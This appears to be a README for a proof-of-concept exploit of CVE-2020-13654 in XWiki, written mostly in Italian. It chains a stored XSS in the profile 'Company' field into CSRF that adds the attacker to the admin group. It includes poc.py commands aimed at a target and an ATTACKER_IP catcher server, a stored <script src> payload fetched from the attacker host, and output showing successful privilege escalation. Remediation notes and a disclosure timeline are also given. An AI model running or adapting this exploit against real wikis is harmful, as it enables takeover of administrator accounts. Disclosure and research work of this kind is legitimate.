
CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover
Scoperto e segnalato da: Astaruf
Analisi completa: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform prima della versione 12.8 non applica la codifica HTML ai campi controllati dall'utente nell'editor del profilo. Il campo interessato confermato durante la ricerca è "Company" (sotto Modifica → Informazioni personali), ma altri campi del profilo condividono lo stesso percorso di codice.
Quando viene renderizzata una pagina del profilo, il valore del campo memorizzato viene inserito nel HTML senza alcuna chiamata a $escapetool.xml() o equivalente escapamento. Un attaccante con qualsiasi account autenticato, incluso uno appena auto-registrato, può memorizzare HTML/JavaScript arbitrario che viene eseguito in modo persistente nel browser di ogni utente che visita il profilo, inclusi gli amministratori.
Causa principale nel template Velocity interessato:
## Vulnerabile (< 12.8): valore scritto direttamente nel DOM
$xwiki.getUserProperty($user, "company")
## Corretto (≥ 12.8): valore codificato in HTML prima dell'output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| Campo | Valore |
|---|---|
| Prodotto | XWiki Platform |
| Versioni affette | < 12.8 |
| Corretto in | 12.8 |
| Punteggio CVSSv3 |
Questa PoC dimostra una catena di escalation di privilegi a zero-click:
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
Non è richiesta alcuna interazione dell'amministratore oltre una singola visita della pagina.
poc.py è uno script di exploit autonomo. Esso:
Company, preservando tutti gli altri valori dei campi esistenti/payload.js) e registra i beacon in arrivoQuando l'amministratore visita l'URL, il tag <script src="..."> memorizzato carica payload.js dal server dell'attaccante. Il payload viene eseguito nel contesto del browser autenticato dell'amministratore, aggiunge silenziosamente l'account dell'attaccante a XWikiAdminGroup e segnala l'esito.
pip install -r requirements.txt
Con auto-registrazione (nessun account preesistente necessario):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
Con un account a bassi privilegi esistente:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Esegui l'upgrade a XWiki Platform ≥ 12.8.
La correzione applica $escapetool.xml() a tutti i campi del profilo controllati dall'utente prima che vengano renderizzati, impedendo l'iniezione di HTML/JavaScript grezzo.
Se un upgrade immediato non è possibile, limita l'auto-registrazione e la visibilità del profilo agli utenti fidati tramite la gestione dei diritti di accesso di XWiki.
| Data |
|---|
Questo repository è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata.
Non utilizzare contro sistemi di cui non possiedi o non hai esplicita autorizzazione scritta per testare.
L'autore non si assume alcuna responsabilità per un uso improprio.
| 7.5 (Alto) |
| CWE | CWE-116 — Codifica o Escapamento dell'Output Improprio |
| Argomento | Obbligatorio | Descrizione |
|---|
--target | ✅ | URL base di XWiki |
--catcher | ✅ | URL controllato dall'attaccante (usato per servire payload.js e raccogliere beacon) |
--username | ✅ | Nome utente dell'account attaccante |
--password | ✅ | Password dell'account attaccante |
--register | ✗ | Auto-registra l'account prima di sfruttare |
--first-name | se --register | Nome di registrazione |
--last-name | se --register | Cognome di registrazione |
--email | se --register | Email di registrazione |
| Evento |
|---|
| Maggio 2020 | Vulnerabilità scoperta |
| Maggio 2020 | Segnalata al team di sicurezza XWiki |
| Luglio 2020 | Corretta in XWiki Platform 12.8 |
| Novembre 2020 | CVE-2020-13654 assegnata da MITRE |
| 30 Dicembre 2020 | Divulgazione pubblica — nstsec.com |